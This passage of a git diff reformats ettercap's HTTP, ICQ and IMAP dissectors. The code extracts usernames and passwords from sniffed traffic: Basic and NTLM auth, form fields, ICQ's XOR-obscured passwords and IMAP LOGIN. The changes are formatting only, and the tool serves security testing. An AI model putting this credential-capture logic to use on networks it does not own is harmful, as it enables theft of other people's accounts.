len<1024) { - SAFE_CALLOC(po->DISSECTOR.banner, len+1, sizeof(char)); + + if (len > 0 && len < 1024) { + SAFE_CALLOC(po->DISSECTOR.banner, len + 1, sizeof(char)); memcpy(po->DISSECTOR.banner, start, len); } } } } - -/* Parse Passport Authentication */ +/* Parse Passport Authentication */ static int Parse_Passport_Auth(char *from_here, struct packet_object *po) { char *token, *to_decode, *tok; @@ -287,18 +288,18 @@ static int Parse_Passport_Auth(char *from_here, struct packet_object *po) if (!(to_decode = strdup(from_here))) return 1; - if ( (token = strstr(to_decode, "OrgURL=")) == NULL ) { + if ((token = strstr(to_decode, "OrgURL=")) == NULL) { SAFE_FREE(to_decode); return 1; } - + /* Catch the original URL */ ec_strtok(token, ",", &tok); po->DISSECTOR.info = strdup(token + strlen("OrgURL=")); Decode_Url(po->DISSECTOR.info); - + /* Catch user and password */ - while ( (token = ec_strtok(NULL, ",", &tok)) != NULL ) { + while ((token = ec_strtok(NULL, ",", &tok)) != NULL) { if (!strncmp(token, "sign-in=", strlen("sign-in="))) { po->DISSECTOR.user = strdup(token + strlen("sign-in=")); Decode_Url(po->DISSECTOR.user); @@ -312,11 +313,10 @@ static int Parse_Passport_Auth(char *from_here, struct packet_object *po) Print_Pass(po); SAFE_FREE(to_decode); - return 1; + return 1; } - -/* Parse Basic Authentication for both Proxy and WWW Auth */ +/* Parse Basic Authentication for both Proxy and WWW Auth */ static int Parse_Basic_Auth(char *ptr, char *from_here, struct packet_object *po) { int Proxy_Auth = 0; @@ -328,7 +328,7 @@ static int Parse_Basic_Auth(char *ptr, char *from_here, struct packet_object *po /* If it's a proxy auth and we are not interested on proxy stuff * return 0, so the dissector will continue to parse GET and POST */ - /* It stands for both Proxy-Authenticate and Authorization ;) */ + /* It stands for both Proxy-Authenticate and Authorization ;) */ if (strstr(ptr, "Proxy-Auth") || strstr(ptr, "Proxy-auth")) { if (FROM_CLIENT("proxy", po)) Proxy_Auth = 1; @@ -338,35 +338,34 @@ static int Parse_Basic_Auth(char *ptr, char *from_here, struct packet_object *po if (!(to_decode = strdup(from_here))) return 1; - + ec_strtok(to_decode, "\r", &tok); char *decoded; base64decode(to_decode, &decoded); - - DEBUG_MSG("Clear text AUTH: %s", decoded); - /* clear text should be username:password + DEBUG_MSG("Clear text AUTH: %s", decoded); + + /* clear text should be username:password * this means that we must find the first instance of : * token shoul dbe username, and decoded should just be the password */ /* Parse the cleartext auth string */ - pass = NULL; - user = ec_strtok(decoded, ":", &pass); + user = ec_strtok(decoded, ":", &pass); if (pass != NULL && user != NULL) { po->DISSECTOR.user = strdup(user); - po->DISSECTOR.pass = strdup(pass); - + po->DISSECTOR.pass = strdup(pass); + /* Are we authenticating to the proxy or to a website? */ if (Proxy_Auth) po->DISSECTOR.info = strdup("Proxy Authentication"); - else + else Find_Url(ptr, &(po->DISSECTOR.info)); - + Print_Pass(po); } @@ -375,151 +374,149 @@ static int Parse_Basic_Auth(char *ptr, char *from_here, struct packet_object *po return 1; } -static int Parse_User_Agent(char* end, char *from_here, struct packet_object *po) +static int Parse_User_Agent(char *end, char *from_here, struct packet_object *po) { - // find the end of the line - const char* line_end = (const char*)memchr(from_here, '\n', end - from_here); - if (line_end == NULL) { - return 0; - } - - unsigned int line_length = line_end - from_here; - const char* comment_begin = (const char*)memchr(from_here, '(', line_length); - if (comment_begin == NULL || ((comment_begin + 1) >= end)) { - // no comments found - return 0; - } - ++comment_begin; - - const char* comment_end = (const char*)memchr(comment_begin, ')', line_end - comment_begin); - if (comment_end == NULL) { - // couldn't find the close on the comment - return 0; - } - - const char* os = NULL; - while (os == NULL && comment_begin != NULL) { - unsigned int comment_length = comment_end - comment_begin; - if ((comment_length > 10 && strncmp(comment_begin, "Windows NT", 10) == 0) || - (comment_length > 9 && strncmp(comment_begin, "Intel Mac", 9) == 0) || - (comment_length > 7 && strncmp(comment_begin, "PPC Mac", 7) == 0) || - (comment_length > 10 && strncmp(comment_begin, "CPU iPhone", 10) == 0) || - (comment_length > 8 && strncmp(comment_begin, "Android", 7) == 0) || - (comment_length > 5 && strncmp(comment_begin, "CrOS", 4) == 0) || // Chrome OS - (comment_length > 5 && strncmp(comment_begin, "Linux", 5) == 0)) { - os = comment_begin; - } - - if (os == NULL) { - comment_begin = memchr(comment_begin, ';', comment_end - comment_begin); - if (comment_begin != NULL && ((comment_begin + 2) < comment_end)) { - // skip the ; and the ' ' - comment_begin += 2; - } - else - { - comment_begin = NULL; - } - } else { - const char* the_end = memchr(comment_begin, ';', comment_end - comment_begin); - if (the_end != NULL) { - comment_end = the_end; - } - - SAFE_CALLOC(po->DISSECTOR.os, 1, (comment_end - os) + 1); - memcpy(po->DISSECTOR.os, os, comment_end - os); - po->DISSECTOR.os[comment_end - os] = 0; - } - } - - // always return 0 so the main loop drops down to get/post - return 0; + // find the end of the line + const char *line_end = (const char *)memchr(from_here, '\n', end - from_here); + if (line_end == NULL) { + return 0; + } + + unsigned int line_length = line_end - from_here; + const char *comment_begin = (const char *)memchr(from_here, '(', line_length); + if (comment_begin == NULL || ((comment_begin + 1) >= end)) { + // no comments found + return 0; + } + ++comment_begin; + + const char *comment_end = (const char *)memchr(comment_begin, ')', line_end - comment_begin); + if (comment_end == NULL) { + // couldn't find the close on the comment + return 0; + } + + const char *os = NULL; + while (os == NULL && comment_begin != NULL) { + unsigned int comment_length = comment_end - comment_begin; + if ((comment_length > 10 && strncmp(comment_begin, "Windows NT", 10) == 0) || + (comment_length > 9 && strncmp(comment_begin, "Intel Mac", 9) == 0) || + (comment_length > 7 && strncmp(comment_begin, "PPC Mac", 7) == 0) || + (comment_length > 10 && strncmp(comment_begin, "CPU iPhone", 10) == 0) || + (comment_length > 8 && strncmp(comment_begin, "Android", 7) == 0) || + (comment_length > 5 && strncmp(comment_begin, "CrOS", 4) == 0) || // Chrome OS + (comment_length > 5 && strncmp(comment_begin, "Linux", 5) == 0)) + { + os = comment_begin; + } + + if (os == NULL) { + comment_begin = memchr(comment_begin, ';', comment_end - comment_begin); + if (comment_begin != NULL && ((comment_begin + 2) < comment_end)) { + // skip the ; and the ' ' + comment_begin += 2; + } else { + comment_begin = NULL; + } + } else { + const char *the_end = memchr(comment_begin, ';', comment_end - comment_begin); + if (the_end != NULL) { + comment_end = the_end; + } + + SAFE_CALLOC(po->DISSECTOR.os, 1, (comment_end - os) + 1); + memcpy(po->DISSECTOR.os, os, comment_end - os); + po->DISSECTOR.os[comment_end - os] = 0; + } + } + + // always return 0 so the main loop drops down to get/post + return 0; } -/* Parse NTLM challenge and response for both Proxy and WWW Auth */ +/* Parse NTLM challenge and response for both Proxy and WWW Auth */ static int Parse_NTLM_Auth(char *ptr, char *from_here, struct packet_object *po) { - char *to_decode, msgType, *tok; + char *to_decode, msgType, *tok; tSmbStdHeader *hSmb; int Proxy_Auth = 0; void *ident = NULL; struct ec_session *s = NULL; struct http_status *conn_status; - + DEBUG_MSG("HTTP --> dissector http (NTLM Auth)"); - + /* If it's a proxy auth and we are not interested on proxy stuff * return 0, so the dissector will continue to parse GET and POST */ - /* It stands for both Proxy-Authenticate and Authorization ;) */ + /* It stands for both Proxy-Authenticate and Authorization ;) */ if (strstr(ptr, "Proxy-Auth") || strstr(ptr, "Proxy-auth")) { if (FROM_CLIENT("proxy", po) || FROM_SERVER("proxy", po)) Proxy_Auth = 1; else return 0; } - + if (!(to_decode = strdup(from_here))) return 1; - + ec_strtok(to_decode, "\r", &tok); char *decoded; base64decode(to_decode, &decoded); - hSmb = (tSmbStdHeader *) decoded; + hSmb = (tSmbStdHeader *)decoded; msgType = IVAL(&hSmb->msgType, 0); /* msgType 2 -> Server challenge * msgType 3 -> Client response - */ - if (msgType==2) { + */ + if (msgType == 2) { tSmbNtlmAuthChallenge *challenge_struct; - challenge_struct = (tSmbNtlmAuthChallenge *) decoded; - + challenge_struct = (tSmbNtlmAuthChallenge *)decoded; + /* Create a session to remember the server challenge */ dissect_create_session(&s, po, DISSECT_CODE(dissector_http)); - SAFE_CALLOC(s->data, 1, sizeof(struct http_status)); - conn_status = (struct http_status *) s->data; + SAFE_CALLOC(s->data, 1, sizeof(struct http_status)); + conn_status = (struct http_status *)s->data; conn_status->c_status = NTLM_WAIT_RESPONSE; - dumpRaw((char*)conn_status->c_data, challenge_struct->challengeData, 8); + dumpRaw((char *)conn_status->c_data, challenge_struct->challengeData, 8); session_put(s); - - } else if (msgType==3) { - tSmbNtlmAuthResponse *response_struct; + } else if (msgType == 3) { + tSmbNtlmAuthResponse *response_struct; char *outstr; - + /* Take the challenge from the session */ dissect_create_ident(&ident, po, DISSECT_CODE(dissector_http)); if (session_get_and_del(&s, ident, DISSECT_IDENT_LEN) == E_SUCCESS) { - conn_status = (struct http_status *) s->data; - + conn_status = (struct http_status *)s->data; + /* Are we waiting for client response? */ /* XXX- POST Continuation may conflict with NTLM Proxy auth - * if the client doesn't send Proxy-Authorization in the same + * if the client doesn't send Proxy-Authorization in the same * packet as the POST - */ + */ if (conn_status->c_status == NTLM_WAIT_RESPONSE) { /* Fill the user and passwords */ - response_struct = (tSmbNtlmAuthResponse *) to_decode; + response_struct = (tSmbNtlmAuthResponse *)to_decode; po->DISSECTOR.user = strdup(GetUnicodeString(response_struct, uUser)); SAFE_CALLOC(po->DISSECTOR.pass, strlen(po->DISSECTOR.user) + 150, sizeof(char)); snprintf(po->DISSECTOR.pass, strlen(po->DISSECTOR.user) + 150, "(NTLM) %s:\"\":\"\":", po->DISSECTOR.user); outstr = po->DISSECTOR.pass + strlen(po->DISSECTOR.pass); - dumpRaw(outstr,((unsigned char*)response_struct)+IVAL(&response_struct->lmResponse.offset,0), 24); + dumpRaw(outstr, ((unsigned char *)response_struct) + IVAL(&response_struct->lmResponse.offset, 0), 24); outstr[48] = ':'; - outstr+=49; - dumpRaw(outstr,((unsigned char*)response_struct)+IVAL(&response_struct->ntResponse.offset,0), 24); + outstr += 49; + dumpRaw(outstr, ((unsigned char *)response_struct) + IVAL(&response_struct->ntResponse.offset, 0), 24); outstr[48] = ':'; outstr += 49; - strcat(po->DISSECTOR.pass, (const char*)conn_status->c_data); + strcat(po->DISSECTOR.pass, (const char *)conn_status->c_data); /* Are we authenticating to the proxy or to a website? */ if (Proxy_Auth) po->DISSECTOR.info = strdup("Proxy Authentication"); - else + else Find_Url(ptr, &(po->DISSECTOR.info)); - + Print_Pass(po); } session_free(s); @@ -531,31 +528,30 @@ static int Parse_NTLM_Auth(char *ptr, char *from_here, struct packet_object *po) return 1; } - /* Deal with POST continuation */ static void Parse_Post_Payload(char *ptr, struct http_status *conn_status, struct packet_object *po) -{ - char *user=NULL, *pass=NULL; +{ + char *user = NULL, *pass = NULL; u_char user_res, pass_res; DEBUG_MSG("HTTP - Parse First chance"); - + if (conn_status->c_status == POST_WAIT_DELIMITER) - if ((ptr = strstr(ptr, "\r\n\r\n"))) { - ptr+=4; + if ((ptr = strstr(ptr, "\r\n\r\n"))) { + ptr += 4; conn_status->c_status = POST_LAST_CHANCE; } DEBUG_MSG("HTTP - Parse Last chance"); if (conn_status->c_status == POST_LAST_CHANCE) { - DEBUG_MSG("HTTP - Parse Form"); + DEBUG_MSG("HTTP - Parse Form"); - user_res= Parse_Form(ptr, &user, USER); - pass_res= Parse_Form(ptr, &pass, PASS); + user_res = Parse_Form(ptr, &user, USER); + pass_res = Parse_Form(ptr, &pass, PASS); if (user_res || pass_res) { po->DISSECTOR.user = user; po->DISSECTOR.pass = pass; - po->DISSECTOR.content = strdup((const char*) ptr); - po->DISSECTOR.info = strdup((const char*)conn_status->c_data); + po->DISSECTOR.content = strdup((const char *)ptr); + po->DISSECTOR.info = strdup((const char *)conn_status->c_data); dissect_wipe_session(po, DISSECT_CODE(dissector_http)); Print_Pass(po); } else { @@ -565,58 +561,56 @@ static void Parse_Post_Payload(char *ptr, struct http_status *conn_status, struc } } - /* Parse the POST header */ -static void Parse_Method_Post(char *ptr, struct packet_object *po) +static void Parse_Method_Post(char *ptr, struct packet_object *po) { char *url = NULL; struct ec_session *s = NULL; struct http_status *conn_status; - + DEBUG_MSG("HTTP --> dissector http (method POST)"); - + Find_Url_Referer(ptr, &url); - - /* We create a session just in case the post was + + /* We create a session just in case the post was * fragmented into more packets. The session will be * wiped on HTTP server reply. */ dissect_create_session(&s, po, DISSECT_CODE(dissector_http)); - SAFE_CALLOC(s->data, 1, sizeof(struct http_status)); - conn_status = (struct http_status *) s->data; + SAFE_CALLOC(s->data, 1, sizeof(struct http_status)); + conn_status = (struct http_status *)s->data; conn_status->c_status = POST_WAIT_DELIMITER; - strlcpy((char*)conn_status->c_data, url, sizeof(conn_status->c_data)); + strlcpy((char *)conn_status->c_data, url, sizeof(conn_status->c_data)); session_put(s); Parse_Post_Payload(ptr, conn_status, po); - + SAFE_FREE(url); } - /* Search for passwords in the URL */ -static void Parse_Method_Get(char *ptr, struct packet_object *po) +static void Parse_Method_Get(char *ptr, struct packet_object *po) { char *to_parse = NULL; char *delimiter = NULL; char *user = NULL; char *pass = NULL; - + DEBUG_MSG("HTTP --> dissector http (method GET)"); /* Isolate the parameters and copy them into another string */ if (!(to_parse = strstr(ptr, "?"))) return; - + if (!(to_parse = strdup(to_parse))) - return; - - if (!(delimiter = strstr(to_parse, " HTTP"))) + return; + + if (!(delimiter = strstr(to_parse, " HTTP"))) goto http_get_failure; - + /* NULL terminate the newly created parameter string */ *delimiter = 0; - + /* Let's parse the parameter list */ if (!Parse_Form(to_parse, &user, USER) || !Parse_Form(to_parse, &pass, PASS)) { SAFE_FREE(user); @@ -628,14 +622,13 @@ static void Parse_Method_Get(char *ptr, struct packet_object *po) /* Fill the info with the URL */ Find_Url_Referer(ptr, &(po->DISSECTOR.info)); - + Print_Pass(po); - -http_get_failure: + +http_get_failure: SAFE_FREE(to_parse); } - /* Match users or passwords in a string */ static u_char Parse_Form(char *to_parse, char **ret, int mode) { @@ -643,22 +636,22 @@ static u_char Parse_Form(char *to_parse, char **ret, int mode) struct http_field_entry *d; /* Strip the '?' from a GET method */ - if (*to_parse == '?') to_parse++; - if (*to_parse == 0) + if (*to_parse == '?') to_parse++; + if (*to_parse == 0) return 0; - /* Search for users or passwords */ + /* Search for users or passwords */ - /* Search matches between each parameter and - * recognized users and passwords - */ + /* Search matches between each parameter and + * recognized users and passwords + */ SLIST_FOREACH(d, &(http_fields[mode]), next) { - q = to_parse; + q = to_parse; do { if (*q == '&') q++; - - if (!strncasecmp(q, d->name, strlen(d->name)) && *(q+strlen(d->name)) == '=' ) { + + if (!strncasecmp(q, d->name, strlen(d->name)) && *(q + strlen(d->name)) == '=') { /* Return the value past the '=' */ if (!(*ret = strdup(q + strlen(d->name) + 1))) @@ -666,18 +659,17 @@ static u_char Parse_Form(char *to_parse, char **ret, int mode) /* NULL terminate the value if it's not the last */ if ((q = strchr(*ret, '&'))) - *q = 0; + *q = 0; Decode_Url(*ret); return 1; } - } while ( (q = strchr(q, '&')) ); + } while ((q = strchr(q, '&'))); } - + return 0; } - /* Unescape the string */ static void Decode_Url(char *src) { @@ -687,14 +679,14 @@ static void Decode_Url(char *src) /* Paranoid test */ if (!src) return; - + /* NULL terminate for the strtoul */ t[2] = 0; - - for (i=0, j=0; src[i] != 0; i++, j++) { + + for (i = 0, j = 0; src[i] != 0; i++, j++) { ch = (u_int32)src[i]; if (ch == '%' && isxdigit((u_int32)src[i + 1]) && isxdigit((u_int32)src[i + 2])) { - memcpy(t, src+i+1, 2); + memcpy(t, src + i + 1, 2); ch = strtoul(t, NULL, 16); i += 2; } @@ -703,11 +695,10 @@ static void Decode_Url(char *src) src[j] = 0; } - /* Gets the URL from the headers */ -static void Find_Url_Referer(char *to_parse, char **ret) +static void Find_Url_Referer(char *to_parse, char **ret) { - char *fromhere, *page=NULL, *host=NULL; + char *fromhere, *page = NULL, *host = NULL; u_int32 len; char *tok; @@ -721,28 +712,27 @@ static void Find_Url_Referer(char *to_parse, char **ret) ec_strtok(page, " HTTP", &tok); /* If the path is relative, search for the Host */ - if ((*page=='/') && (fromhere = strstr(to_parse, "Host: "))) { - host = strdup( fromhere + strlen("Host: ") ); + if ((*page == '/') && (fromhere = strstr(to_parse, "Host: "))) { + host = strdup(fromhere + strlen("Host: ")); ec_strtok(host, "\r", &tok); - } else + } else host = strdup(""); - + len = strlen(page) + strlen(host) + 2; SAFE_CALLOC(*ret, len, sizeof(char)); snprintf(*ret, len, "%s%s", host, page); SAFE_FREE(page); - SAFE_FREE(host); - } - + SAFE_FREE(host); + } + Decode_Url(*ret); } - /* Gets the URL from the request */ -static void Find_Url(char *to_parse, char **ret) +static void Find_Url(char *to_parse, char **ret) { - char *fromhere, *page=NULL, *host=NULL; + char *fromhere, *page = NULL, *host = NULL; u_int32 len; char *tok; @@ -750,27 +740,27 @@ static void Find_Url(char *to_parse, char **ret) to_parse += strlen("GET "); else if (!strncmp(to_parse, "POST ", 5)) to_parse += strlen("POST "); - else - return; - + else + return; + /* Get the page from the request */ page = strdup(to_parse); ec_strtok(page, " HTTP", &tok); /* If the path is relative, search for the Host */ - if ((*page=='/') && (fromhere = strstr(to_parse, "Host: "))) { - host = strdup( fromhere + strlen("Host: ") ); + if ((*page == '/') && (fromhere = strstr(to_parse, "Host: "))) { + host = strdup(fromhere + strlen("Host: ")); ec_strtok(host, "\r", &tok); - } else + } else host = strdup(""); - + len = strlen(page) + strlen(host) + 2; SAFE_CALLOC(*ret, len, sizeof(char)); snprintf(*ret, len, "%s%s", host, page); SAFE_FREE(page); - SAFE_FREE(host); - + SAFE_FREE(host); + Decode_Url(*ret); } @@ -778,7 +768,7 @@ static void Find_Url(char *to_parse, char **ret) static void Print_Pass(struct packet_object *po) { char tmp[MAX_ASCII_ADDR_LEN]; - + if (!po->DISSECTOR.user) po->DISSECTOR.user = strdup(""); @@ -786,16 +776,15 @@ static void Print_Pass(struct packet_object *po) po->DISSECTOR.pass = strdup(""); DISSECT_MSG("HTTP : %s:%d -> USER: %s PASS: %s INFO: %s\n", ip_addr_ntoa(&po->L3.dst, tmp), - ntohs(po->L4.dst), - po->DISSECTOR.user, - po->DISSECTOR.pass, - po->DISSECTOR.info); + ntohs(po->L4.dst), + po->DISSECTOR.user, + po->DISSECTOR.pass, + po->DISSECTOR.info); if (po->DISSECTOR.content) - DISSECT_MSG("CONTENT: %s\n\n", po->DISSECTOR.content); + DISSECT_MSG("CONTENT: %s\n\n", po->DISSECTOR.content); } - /* Load known user/pass fields from file */ int http_fields_init(void) { @@ -811,20 +800,20 @@ int http_fields_init(void) USER_MSG("Cannot open %s\n", ETTER_FIELDS); return -E_INVALID; } - + /* load it in the list */ while (fgets(line, 128, f)) { - + /* trim comments */ - if ( (ptr = strchr(line, '#')) ) + if ((ptr = strchr(line, '#'))) *ptr = 0; /* trim \n */ - if ( (ptr = strchr(line, '\n')) ) + if ((ptr = strchr(line, '\n'))) *ptr = 0; /* trim ' ' */ - if ( (ptr = strchr(line, ' ')) ) + if ((ptr = strchr(line, ' '))) *ptr = 0; /* skip empty lines */ @@ -832,16 +821,16 @@ int http_fields_init(void) continue; /* Identify the section */ - if(!strncmp(line, "[USER]", 6)) { + if (!strncmp(line, "[USER]", 6)) { pass_flag = USER; continue; } - if(!strncmp(line, "[PASS]", 6)) { + if (!strncmp(line, "[PASS]", 6)) { pass_flag = PASS; continue; } - + /* create the entry */ SAFE_CALLOC(d, 1, sizeof(struct http_field_entry)); d->name = strdup(line); @@ -849,19 +838,18 @@ int http_fields_init(void) /* insert in the right list */ SLIST_INSERT_HEAD(&(http_fields[pass_flag]), d, next); } - + fclose(f); return E_SUCCESS; } - /* A little helper function */ static void dumpRaw(char *str, unsigned char *buf, size_t len) { u_int32 i; - for (i=0; i #include @@ -28,15 +28,15 @@ struct tlv_hdr { u_int8 type[2]; - #define TLV_LOGIN "\x00\x01" - #define TLV_PASS "\x00\x02" +#define TLV_LOGIN "\x00\x01" +#define TLV_PASS "\x00\x02" u_int8 len[2]; }; struct flap_hdr { u_int8 cmd; u_int8 chan; - #define FLAP_CHAN_LOGIN 1 +#define FLAP_CHAN_LOGIN 1 u_int16 seq; u_int16 dlen; }; @@ -79,61 +79,61 @@ FUNC_DECODER(dissector_icq) /* don't complain about unused var */ (void)end; - (void) DECODE_DATA; - (void) DECODE_DATALEN; - (void) DECODED_LEN; + (void)DECODE_DATA; + (void)DECODE_DATALEN; + (void)DECODED_LEN; /* parse only version 7/8 */ - if (ptr[0] != 0x2a || ptr[1] > 4) + if (ptr[0] != 0x2a || ptr[1] > 4) return NULL; - + /* skip empty packets (ACK packets) */ if (PACKET->DATA.len == 0) return NULL; - + /* skip messages coming from the server */ if (FROM_SERVER("icq", PACKET)) return NULL; - + DEBUG_MSG("ICQ --> TCP dissector_icq [%d.%d]", ptr[0], ptr[1]); - + /* we try to recognize the protocol */ - fhdr = (struct flap_hdr *) ptr; + fhdr = (struct flap_hdr *)ptr; /* login sequence */ if (fhdr->chan == FLAP_CHAN_LOGIN) { /* move the pointer */ ptr += sizeof(struct flap_hdr); - thdr = (struct tlv_hdr *) ptr; - + thdr = (struct tlv_hdr *)ptr; + /* we need server HELLO (0000 0001) */ - if (memcmp(ptr, "\x00\x00\x00\x01", 4) ) + if (memcmp(ptr, "\x00\x00\x00\x01", 4)) return NULL; - + /* move the pointer */ thdr = thdr + 1; /* catch the login */ if (memcmp(thdr->type, TLV_LOGIN, sizeof(thdr->type))) return NULL; - + DEBUG_MSG("\tDissector_icq - LOGIN "); /* point to the user */ user = (char *)(thdr + 1); /* move the pointer */ - thdr = (struct tlv_hdr *) ((char *)thdr + sizeof(struct tlv_hdr) + thdr->len[1]); + thdr = (struct tlv_hdr *)((char *)thdr + sizeof(struct tlv_hdr) + thdr->len[1]); DEBUG_MSG("\tdissector_icq : TLV TYPE [%d]", thdr->type[1]); - + /* catch the pass */ if (memcmp(thdr->type, TLV_PASS, sizeof(thdr->type))) return NULL; DEBUG_MSG("\tDissector_icq - PASS"); - + /* use a temp buff to decript the password */ pwdtemp = strdup((char *)(thdr + 1)); @@ -145,24 +145,23 @@ FUNC_DECODER(dissector_icq) PACKET->DISSECTOR.user = strdup(user); SAFE_FREE(pwdtemp); - + /* move the pointer */ - thdr = (struct tlv_hdr *) ((char *)thdr + sizeof(struct tlv_hdr) + thdr->len[1]); + thdr = (struct tlv_hdr *)((char *)thdr + sizeof(struct tlv_hdr) + thdr->len[1]); PACKET->DISSECTOR.info = strdup((char *)(thdr + 1)); - - DISSECT_MSG("ICQ : %s:%d -> USER: %s PASS: %s \n", ip_addr_ntoa(&PACKET->L3.dst, tmp), - ntohs(PACKET->L4.dst), - PACKET->DISSECTOR.user, - PACKET->DISSECTOR.pass); - } + DISSECT_MSG("ICQ : %s:%d -> USER: %s PASS: %s \n", ip_addr_ntoa(&PACKET->L3.dst, tmp), + ntohs(PACKET->L4.dst), + PACKET->DISSECTOR.user, + PACKET->DISSECTOR.pass); + } return NULL; } /* - * decode the crypted password + * decode the crypted password */ static void decode_pwd(char *pwd, char *outpwd) { @@ -171,15 +170,14 @@ static void decode_pwd(char *pwd, char *outpwd) 0xF3, 0x26, 0x81, 0xC4, 0x39, 0x86, 0xDB, 0x92, 0x71, 0xA3, 0xB9, 0xE6, 0x53, 0x7A, 0x95, 0x7C }; - + pwdlen = strlen(pwd); - for( x = 0; x < pwdlen; x++) + for (x = 0; x < pwdlen; x++) *(outpwd + x) = pwd[x] ^ pwd_key[x]; - + return; } /* EOF */ // vim:ts=3:expandtab - diff --git a/src/dissectors/ec_imap.c b/src/dissectors/ec_imap.c index 898faab59..22d7db2cc 100644 --- a/src/dissectors/ec_imap.c +++ b/src/dissectors/ec_imap.c @@ -1,23 +1,23 @@ /* - ettercap -- dissector IMAP -- TCP 143 220 - - Copyright (C) ALoR & NaGA - - This program is free software; you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation; either version 2 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program; if not, write to the Free Software - Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. - -*/ + * ettercap -- dissector IMAP -- TCP 143 220 + * + * Copyright (C) ALoR & NaGA + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + * + */ /* * The authentication schema can be found here: @@ -61,60 +61,59 @@ FUNC_DECODER(dissector_imap) struct ec_session *s = NULL; void *ident = NULL; char tmp[MAX_ASCII_ADDR_LEN]; - + /* don't complain about unused var */ - (void) DECODE_DATA; - (void) DECODE_DATALEN; - (void) DECODED_LEN; - + (void)DECODE_DATA; + (void)DECODE_DATALEN; + (void)DECODED_LEN; + /* the connection is starting... create the session */ CREATE_SESSION_ON_SYN_ACK("imap", s, dissector_imap); /* create the session even if we are into an ssl tunnel */ CREATE_SESSION_ON_SYN_ACK("imaps", s, dissector_imap); - + /* check if it is the first packet sent by the server */ IF_FIRST_PACKET_FROM_SERVER_SSL("smtp", "ssmtp", s, ident, dissector_imap) { - + DEBUG_MSG("\tdissector_imap BANNER"); /* - * get the banner + * get the banner * "* OK banner" */ - + /* skip the number, go to response */ - while(*ptr != ' ' && ptr != end) ptr++; - + while (*ptr != ' ' && ptr != end) ptr++; + /* reached the end */ if (ptr == end) return NULL; - - if (!strncmp((const char*)ptr, " OK ", 4)) { - PACKET->DISSECTOR.banner = strdup((const char*)ptr + 3); - + + if (!strncmp((const char *)ptr, " OK ", 4)) { + PACKET->DISSECTOR.banner = strdup((const char *)ptr + 3); + /* remove the \r\n */ - if ( (ptr = (u_char*)strchr(PACKET->DISSECTOR.banner, '\r')) != NULL ) + if ((ptr = (u_char *)strchr(PACKET->DISSECTOR.banner, '\r')) != NULL) *ptr = '\0'; } } ENDIF_FIRST_PACKET_FROM_SERVER(s, ident) - + /* skip messages coming from the server */ if (FROM_SERVER("imap", PACKET) || FROM_SERVER("imaps", PACKET)) return NULL; - + /* skip empty packets (ACK packets) */ if (PACKET->DATA.len == 0) return NULL; - + DEBUG_MSG("IMAP --> TCP dissector_imap"); - /* skip the number, move to the command * if there is no space in the line, we are * probably already transferring credentials */ - if (strchr((char*)ptr, ' ')) { - while(*ptr != ' ' && ptr != end) ptr++; + if (strchr((char *)ptr, ' ')) { + while (*ptr != ' ' && ptr != end) ptr++; } - + /* reached the end */ if (ptr == end) return NULL; @@ -123,37 +122,37 @@ FUNC_DECODER(dissector_imap) * * n LOGIN user pass */ - if ( !strncasecmp((const char*)ptr, " LOGIN ", 7) ) { + if (!strncasecmp((const char *)ptr, " LOGIN ", 7)) { DEBUG_MSG("\tDissector_imap LOGIN"); ptr += 7; - - PACKET->DISSECTOR.user = strdup((const char*)ptr); - + + PACKET->DISSECTOR.user = strdup((const char *)ptr); + /* split the string */ - if ( (ptr = (u_char*)strchr(PACKET->DISSECTOR.user, ' ')) != NULL ) + if ((ptr = (u_char *)strchr(PACKET->DISSECTOR.user, ' ')) != NULL) *ptr = '\0'; else { SAFE_FREE(PACKET->DISSECTOR.user); return NULL; } - + /* save the second part */ - PACKET->DISSECTOR.pass = strdup((const char*)ptr + 1); - - if ( (ptr = (u_char*)strchr(PACKET->DISSECTOR.pass, '\r')) != NULL ) + PACKET->DISSECTOR.pass = strdup((const char *)ptr + 1); + + if ((ptr = (u_char *)strchr(PACKET->DISSECTOR.pass, '\r')) != NULL) *ptr = '\0'; - + /* print the message */ DISSECT_MSG("IMAP : %s:%d -> USER: %s PASS: %s\n", ip_addr_ntoa(&PACKET->L3.dst, tmp), - ntohs(PACKET->L4.dst), - PACKET->DISSECTOR.user, - PACKET->DISSECTOR.pass); + ntohs(PACKET->L4.dst), + PACKET->DISSECTOR.user, + PACKET->DISSECTOR.pass); return NULL; } -/* +/* * AUTHENTICATE LOGIN * * digest(user) @@ -161,27 +160,27 @@ FUNC_DECODER(dissector_imap) * * the digests are in base64 */ - if ( !strncasecmp((const char*)ptr, " AUTHENTICATE LOGIN", 19) ) { - + if (!strncasecmp((const char *)ptr, " AUTHENTICATE LOGIN", 19)) { + DEBUG_MSG("\tDissector_imap AUTHENTICATE LOGIN"); /* destroy any previous session */ dissect_wipe_session(PACKET, DISSECT_CODE(dissector_imap)); - + /* create the new session */ dissect_create_session(&s, PACKET, DISSECT_CODE(dissector_imap)); - + /* remember the state (used later) */ s->data = strdup("AUTH"); - + /* save the session */ session_put(s); - + /* username is in the next packet */ return NULL; } -/* +/* * AUTHENTICATE PLAIN * * digest(authcid+\0+user+\0+pass) @@ -190,27 +189,26 @@ FUNC_DECODER(dissector_imap) * * we ignore the authzid (authorization identity) for now */ - if ( !strncasecmp((const char*)ptr, " AUTHENTICATE PLAIN", 19) ) { - + if (!strncasecmp((const char *)ptr, " AUTHENTICATE PLAIN", 19)) { + DEBUG_MSG("\tDissector_imap AUTHENTICATE PLAIN"); /* destroy any previous session */ dissect_wipe_session(PACKET, DISSECT_CODE(dissector_imap)); - + /* create the new session */ dissect_create_session(&s, PACKET, DISSECT_CODE(dissector_imap)); - + /* remember the state (used later) */ s->data = strdup("PLAIN"); - + /* save the session */ session_put(s); - + /* username is in the next packet */ return NULL; } - /* search the session (if it exist) */ 